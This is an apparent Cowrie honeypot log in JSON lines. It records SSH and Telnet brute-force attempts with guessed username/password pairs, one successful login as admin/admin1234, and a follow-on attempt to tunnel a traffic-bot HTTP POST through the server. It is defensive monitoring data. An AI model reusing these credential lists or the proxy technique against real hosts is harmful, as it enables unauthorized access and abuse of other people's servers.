{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:08.417283Z","src_ip":"91.92.40.36","session":"afb39b647158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12628,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5d9161a0ead","protocol":"ssh","message":"New connection: 91.92.40.36:12628 (159.203.135.109:22) [session: e5d9161a0ead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:12.997709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:13.676435Z","src_ip":"91.92.40.36","session":"e5d9161a0ead","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:13.679595Z","src_ip":"91.92.40.36","session":"e5d9161a0ead","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48688,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d62eae84ed8","protocol":"ssh","message":"New connection: 91.92.40.36:48688 (159.203.135.109:22) [session: 9d62eae84ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:18.350754Z"}
{"eventid":"cowrie.login.failed","username":"zhouh","password":"q1w2e3","message":"login attempt [zhouh/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:18.869740Z","src_ip":"91.92.40.36","session":"e5d9161a0ead","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.113.53","src_port":34720,"dst_ip":"159.203.135.109","dst_port":22,"session":"87b80b37979b","protocol":"ssh","message":"New connection: 14.103.113.53:34720 (159.203.135.109:22) [session: 87b80b37979b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:19.163669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:19.167940Z","src_ip":"14.103.113.53","session":"87b80b37979b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:19.504607Z","src_ip":"91.92.40.36","session":"9d62eae84ed8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:19.507515Z","src_ip":"91.92.40.36","session":"9d62eae84ed8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:20.202058Z","src_ip":"14.103.113.53","session":"87b80b37979b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:21.156490Z","src_ip":"91.92.40.36","session":"e5d9161a0ead","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"us","password":"123","message":"login attempt [us/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:21.429847Z","src_ip":"14.103.113.53","session":"87b80b37979b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:22.637837Z","src_ip":"14.103.113.53","session":"87b80b37979b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.8843994140625,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:22.914546Z","src_ip":"128.199.8.54","session":"c4e9ae659775","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36482,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f85c0e582ec","protocol":"telnet","message":"New connection: 128.199.8.54:36482 (159.203.135.109:23) [session: 0f85c0e582ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:23.218919Z"}
{"eventid":"cowrie.login.failed","username":"ld","password":"ld","message":"login attempt [ld/ld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:24.816468Z","src_ip":"91.92.40.36","session":"9d62eae84ed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:27.203720Z","src_ip":"91.92.40.36","session":"9d62eae84ed8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37994,"dst_ip":"159.203.135.109","dst_port":22,"session":"2093ab023d35","protocol":"ssh","message":"New connection: 91.92.40.36:37994 (159.203.135.109:22) [session: 2093ab023d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:27.827853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:28.737574Z","src_ip":"91.92.40.36","session":"2093ab023d35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:28.740298Z","src_ip":"91.92.40.36","session":"2093ab023d35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38038,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bd38d30e1cc","protocol":"ssh","message":"New connection: 91.92.40.36:38038 (159.203.135.109:22) [session: 8bd38d30e1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:34.260677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:35.453813Z","src_ip":"91.92.40.36","session":"8bd38d30e1cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:35.845633Z","src_ip":"91.92.40.36","session":"8bd38d30e1cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"p@$w0rd","message":"login attempt [guest/p@$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:37.637301Z","src_ip":"91.92.40.36","session":"8bd38d30e1cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":52606,"dst_ip":"10.17.0.5","dst_port":22,"session":"71ae176e8b93","protocol":"ssh","message":"New connection: 113.164.152.20:52606 (10.17.0.5:22) [session: 71ae176e8b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:37.740858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:37.748882Z","src_ip":"113.164.152.20","session":"71ae176e8b93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:38.049673Z","src_ip":"113.164.152.20","session":"71ae176e8b93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:38.775488Z","src_ip":"91.92.40.36","session":"8bd38d30e1cc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:39.366411Z","src_ip":"113.164.152.20","session":"71ae176e8b93","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:39.769486Z","session":"71ae176e8b93","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:39.901276Z","session":"71ae176e8b93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master12","message":"login attempt [master/master12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:40.321545Z","src_ip":"91.92.40.36","session":"2093ab023d35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:40.385831Z","src_ip":"113.164.152.20","session":"71ae176e8b93","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; Y50t) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZkVUJVZAcnJiVXA2aVA%2BZA%3D%3D4jp3CwoNuwmQUHhlDcwn%2BQwNIPzxKpz4oGav0leRoIe7Zsu8wNqgyozYPzQ99fsJtT9wAQjZwnHMGr7HPgWKP4wwlLYLVAXgqr86nUzUVxPZhUwE%2Bqjm93PAzw7I5zo3JFATryF2%2BnfN11KqlN%2BImPw1OPdtICbsZS3zy77Bps9YXM7vxEM1%2FfMdhEL1fcDpmKwfhw%2FZBSNw%2FznWl8ZpcKSNMfchsxfNKtDYRj3E1WH63ncMlMA2rH4ieOM0Q%2B74mPl%2FWRvRRzGo1%2F%2Fogt%2FVt9bw7e3RlpDCQrewlhVjPRVyVp9fpPFiAHh0Je7RlPtjuOdshaCOR1zFOJRYBg5f12vCsGPRfh0GTD56cqWN9iRzihu1376%2B1gcTc%2BqqJDQLxEoDs7nvOrFkD2Hr0cVEZYlulaBY5%2BB1DTRoEEE4gwniPP8J%2BimcVE4HFayyWSs38HV1tWQ2%2FuEpqDwJeYZjpVSvQ13Se3p8YxfZwEl2jJ90eMUwX8qc8n81SazI2HY53BZ1L6JiMWXdQZlWUaRp5BFaJQdHLONyJ2JfS5Vc2PpQLanlrUP5TkyA%2BDgscOAouCJKxtxfXVaU%2Bfj0AXvGsqtccTir3hYm%2F5aCjLeRTdIM9AMQxoVyxuwhuDBscM9dBiPenIwZQS3j6l6E2q7PgN4peblBI%2FSrT8tUOOLcZr06lOrTzye%2Ba35LINZ8omEPxmq3EMMDulKqb%2FU3uZdtFf7zMgDHQgtt8YY4C9%2BSDJei2pwEYcMSk2w43ptKehY6WRCKnecO7pGIOGJHc4GN8CPK52jE6L%2FB3otsKU5aDO4tyUjiAfJS2eobZukm8lZEBEP%2FNeuUXCZubnYpzIyx3lFdU82tYTMk3smUWSrESCUqq%2FsA%2F6zQ6gF1swo4xbPtdWKJ%2FSEqmWj4JymXXNuWdtioK%2Bte96dEswdkWHGM7pQpXtbKNmnIDEL%2BQpkveRhCgyjbOl%2B2Ybo7eF8ncK6I2qc52miTzhIjQ3jFk1b%2FNFds%2FeRuVhyf%2BxlxUMPaTrbkSPS99Cmq%2FxRm3Fs%2Fo%2Bh4n%2Fnqv2mIZj9pHyWFA2ByXJk%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; Y50t) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZkVUJVZAcnJiVXA2aVA%2BZA%3D%3D4jp3CwoNuwmQUHhlDcwn%2BQwNIPzxKpz4oGav0leRoIe7Zsu8wNqgyozYPzQ99fsJtT9wAQjZwnHMGr7HPgWKP4wwlLYLVAXgqr86nUzUVxPZhUwE%2Bqjm93PAzw7I5zo3JFATryF2%2BnfN11KqlN%2BImPw1OPdtICbsZS3zy77Bps9YXM7vxEM1%2FfMdhEL1fcDpmKwfhw%2FZBSNw%2FznWl8ZpcKSNMfchsxfNKtDYRj3E1WH63ncMlMA2rH4ieOM0Q%2B74mPl%2FWRvRRzGo1%2F%2Fogt%2FVt9bw7e3RlpDCQrewlhVjPRVyVp9fpPFiAHh0Je7RlPtjuOdshaCOR1zFOJRYBg5f12vCsGPRfh0GTD56cqWN9iRzihu1376%2B1gcTc%2BqqJDQLxEoDs7nvOrFkD2Hr0cVEZYlulaBY5%2BB1DTRoEEE4gwniPP8J%2BimcVE4HFayyWSs38HV1tWQ2%2FuEpqDwJeYZjpVSvQ13Se3p8YxfZwEl2jJ90eMUwX8qc8n81SazI2HY53BZ1L6JiMWXdQZlWUaRp5BFaJQdHLONyJ2JfS5Vc2PpQLanlrUP5TkyA%2BDgscOAouCJKxtxfXVaU%2Bfj0AXvGsqtccTir3hYm%2F5aCjLeRTdIM9AMQxoVyxuwhuDBscM9dBiPenIwZQS3j6l6E2q7PgN4peblBI%2FSrT8tUOOLcZr06lOrTzye%2Ba35LINZ8omEPxmq3EMMDulKqb%2FU3uZdtFf7zMgDHQgtt8YY4C9%2BSDJei2pwEYcMSk2w43ptKehY6WRCKnecO7pGIOGJHc4GN8CPK52jE6L%2FB3otsKU5aDO4tyUjiAfJS2eobZukm8lZEBEP%2FNeuUXCZubnYpzIyx3lFdU82tYTMk3smUWSrESCUqq%2FsA%2F6zQ6gF1swo4xbPtdWKJ%2FSEqmWj4JymXXNuWdtioK%2Bte96dEswdkWHGM7pQpXtbKNmnIDEL%2BQpkveRhCgyjbOl%2B2Ybo7eF8ncK6I2qc52miTzhIjQ3jFk1b%2FNFds%2FeRuVhyf%2BxlxUMPaTrbkSPS99Cmq%2FxRm3Fs%2Fo%2Bh4n%2Fnqv2mIZj9pHyWFA2ByXJk%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:40.390555Z","src_ip":"113.164.152.20","session":"71ae176e8b93","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:40.394224Z","src_ip":"113.164.152.20","session":"71ae176e8b93","protocol":"ssh"}
